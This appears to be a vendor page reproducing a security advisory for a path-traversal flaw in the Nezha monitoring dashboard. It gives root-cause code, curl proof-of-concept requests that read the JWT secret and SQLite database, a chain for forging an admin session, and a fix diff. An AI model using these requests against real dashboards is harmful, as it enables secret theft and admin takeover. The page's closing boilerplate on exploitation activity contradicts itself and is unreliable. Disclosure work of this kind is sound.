Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-5c25-7vpj-9mqh
No affected components available
Summary
fallbackToFrontend in the dashboard's NoRoute handler treats any URL whose raw string starts with /dashboard as an admin-frontend asset request. The check uses strings.HasPrefix, not a path-segment match, so the input /dashboard../data/config.yaml is accepted; strings.TrimPrefix leaves ../data/config.yaml; and path.Join("admin-dist", "../data/config.yaml") normalizes to data/config.yaml — which os.Stat finds and http.ServeFile returns. No authentication required.
In default deployments (the values shipped in model/config.go and the layout shipped in the project Dockerfile) data/config.yaml contains the HS256 jwt_secret_key used by cmd/dashboard/controller/jwt.go to sign every dashboard session cookie. A unauth attacker reads that secret, forges an admin JWT, and signs in as any user — full dashboard takeover from one GET request.
Details
Root cause
// cmd/dashboard/controller/controller.go @ 636f4a9
387: fallbackStatusCode := getFallbackStatusCode(c.Request.URL.Path)
388: if strings.HasPrefix(c.Request.URL.Path, "/dashboard") {
389: stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard")
390: localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)
391: if checkLocalFileOrFs(c, frontendDist, localFilePath, http.StatusOK) {
392: return
393: }
// cmd/dashboard/controller/controller.go @ 636f4a9
322: func fallbackToFrontend(frontendDist fs.FS) func(*gin.Context) {
323: checkLocalFileOrFs := func(c *gin.Context, fs fs.FS, path string, customStatusCode int) bool {
324: if _, err := os.Stat(path); err == nil {
325: http.ServeFile(utils.NewGinCustomWriter(c, customStatusCode), c.Request, path)
326: return true
327: }
fallbackToFrontend is wired as the catch-all at cmd/dashboard/controller/controller.go:157 — r.NoRoute(fallbackToFrontend(frontendDist)) — so every URL not matched by an earlier route reaches it, including pre-auth.
Path math (verified, see appendix)
| Input URL.Path | TrimPrefix(..., "/dashboard") | path.Join("admin-dist", ...) | Reachable file |
|---|---|---|---|
| /dashboard/login | /login | admin-dist/login | legitimate, intended |
| /dashboard/../data/config.yaml | /../data/config.yaml | data/config.yaml | but blocked by Go http.ServeFile's URL ..-segment guard → 400 |
| /dashboard../data/config.yaml | ../data/config.yaml | data/config.yaml | served, 200 |
| /dashboard%2e%2e/data/config.yaml | ../data/config.yaml (decoded) | data/config.yaml | served, 200 |
| /dashboard..%2fdata/config.yaml | ../data/config.yaml (decoded) | data/config.yaml | served, 200 |
The negative control (/dashboard/../data/config.yaml) lands at the same on-disk path after path.Join, but is rejected by http.ServeFile because Go's stdlib enforces a URL-level traversal guard that fires when the request URL itself contains a standalone .. segment. The bypass works because in /dashboard../... the first URL segment is the single token dashboard.. — no standalone .. — so the stdlib guard does not trigger. The traversal segment is created after TrimPrefix, downstream of every defense.
Why the existing defenses miss
- The prefix check is a substring test on the raw URL string, not a segment test.
dashboardanddashboard..are both accepted. path.JoinsilentlyCleans the result — so the..is consumed correctly to escapeadmin-dist, with no error returned to indicate escape.- Go's
http.ServeFilestdlib guard fires only on URLs with a standalone..segment (pernet/http.containsDotDot). The payload puts the dots inside the first segment instead. - No anchored "is this still under the template root?" check exists after
path.Join.
PoC
Setup
TARGET: github.com/nezhahq/nezha@636f4a971653ce3f5272fee99dc85c0bd5f923ef
HARNESS: stdlib-only port — see Appendix A
WORKDIR: tmpdir containing admin-dist/, user-dist/, data/config.yaml, data/sqlite.db
TIME-TO-REPRO: first request
The harness plants this data/config.yaml:
debug: false
listen_port: 8008
language: en_US
jwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE
agent_secret_key: REPRO_AGENT_SECRET_VALUE
site:
brand: nezha-repro
Observed responses
Primary payload — pre-auth secret disclosure:
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/config.yaml'
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 167
Content-Type: application/yaml
Last-Modified: Sun, 24 May 2026 12:16:23 GMT
Date: Sun, 24 May 2026 12:16:25 GMT
debug: false
listen_port: 8008
language: en_US
jwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE
agent_secret_key: REPRO_AGENT_SECRET_VALUE
site:
brand: nezha-repro
Negative control — Go stdlib guard rejects the canonical form:
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard/../data/config.yaml'
HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
invalid URL path
Encoded-dot variant — bypass also works:
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2e%2e/data/config.yaml'
HTTP/1.1 200 OK
Content-Length: 167
Content-Type: application/yaml
[... full config.yaml including jwt_secret_key ...]
Encoded-slash variant — bypass also works:
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard..%2fdata/config.yaml'
HTTP/1.1 200 OK
Content-Length: 167
Content-Type: application/yaml
[... full config.yaml including jwt_secret_key ...]
Double-encoded — confirms the bypass requires single-level encoding:
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%252e%252e/data/config.yaml'
HTTP/1.1 200 OK
Content-Length: 30
Content-Type: text/html; charset=utf-8
<html>admin frontend OK</html>
The literal %252e%252e does not decode to .., so the path becomes admin-dist/%2e%2e/data/config.yaml (no escape), os.Stat fails, and the handler falls through to serving admin-dist/index.html — no secret disclosure.
Encoded leading slash — also blocked at the stdlib layer:
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2f..%2fdata/config.yaml'
HTTP/1.1 400 Bad Request
invalid URL path
SQLite database exfil — same primitive:
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/sqlite.db'
HTTP/1.1 200 OK
Content-Length: 42
SQLITE_FORMAT_3_FAKE_DB_CONTENT_REPRO_ONLY
Sanity checks
- Normal
/dashboard/request still servesadmin-dist/index.htmlwith HTTP 200 — the bypass does not regress legitimate behavior. - Requests to
/api/...still hit the JSON-404 branch — the bypass is isolated to the/dashboardfallback.
Impact
Direct primitive
Unauth read of any file in the dashboard's working directory subtree reachable by escaping admin-dist one level. In default deployments that includes:
| File | Default path | Why it matters |
|---|---|---|
| data/config.yaml | from -c flag default (cmd/dashboard/main.go:104) | Contains jwt_secret_key (signing key, HS256), agent_secret_key, OAuth2 client secrets, GitHub release token, GeoIP API key, and any custom secrets |
| data/sqlite.db | from -db flag default (cmd/dashboard/main.go:105) | Full dashboard state: users (incl. admin), bcrypt password hashes, server registry, API tokens, notification configs |
Chain to administrative account takeover (verified path)
- Read config —
GET /dashboard../data/config.yamlreturns plaintext YAML containingjwt_secret_key. - Read database —
GET /dashboard../data/sqlite.dbreturns the SQLite file; an attacker opens it and reads theuserstable to recover admin user IDs (and any other claims the JWT references). - Forge a JWT — the dashboard's JWT middleware at
cmd/dashboard/controller/jwt.go:22,27is wired with:
HS256 is symmetric — possession of the key is sufficient to sign tokens that pass verification. An attacker mints a token whoseKey: []byte(singleton.Conf.JWTSecretKey), SigningAlgorithm: "HS256", CookieName: "nz-jwt", IdentityKey: model.CtxKeyAuthorizedUser,user_idclaim matches the admin user from step 2 and attaches it as thenz-jwtcookie (orAuthorization: Bearer ...). - Operate as admin — every admin handler (
adminHandlerchain) now accepts the forged session, granting CRUD on servers, users, cron tasks, notifications, and OAuth2 settings. The chain is fully deterministic against a default-configured dashboard: two unauth HTTP GETs and a JWT signing operation, no race, no user interaction, no special timing.
Suggested fix
Make the prefix test segment-aware and reject paths whose cleaned form escapes the template root before any filesystem call. Minimal diff:
- if strings.HasPrefix(c.Request.URL.Path, "/dashboard") {
- stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard")
+ if c.Request.URL.Path == "/dashboard/" || strings.HasPrefix(c.Request.URL.Path, "/dashboard/") {
+ stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard/")
+ cleanPath := path.Clean("/" + stripPath)
+ if cleanPath == ".." || strings.HasPrefix(cleanPath, "../") || strings.Contains(cleanPath, "/../") {
+ c.JSON(http.StatusNotFound, newErrorResponse(errors.New("404 Not Found")))
+ return
+ }
localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)
The /dashboard -> /dashboard/ redirect at line 382 already exists, so requiring the trailing slash is safe and aligns with the regexes in frontendPageUrlRegistry.
The same hardening should be applied to the user-template branch (lines 399–405), which uses the same path.Join pattern with singleton.Conf.UserTemplate. While the /dashboard prefix-confusion vector doesn't hit it directly, any future code change that hands a controlled URL.Path to that branch would re-introduce the same primitive.
A defense-in-depth alternative is to replace the local os.Stat + http.ServeFile branch with a http.FileServer(http.FS(subFS)) rooted at the embedded admin-dist subdirectory, which keeps the embedded-FS contract and removes the working-directory escape entirely.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard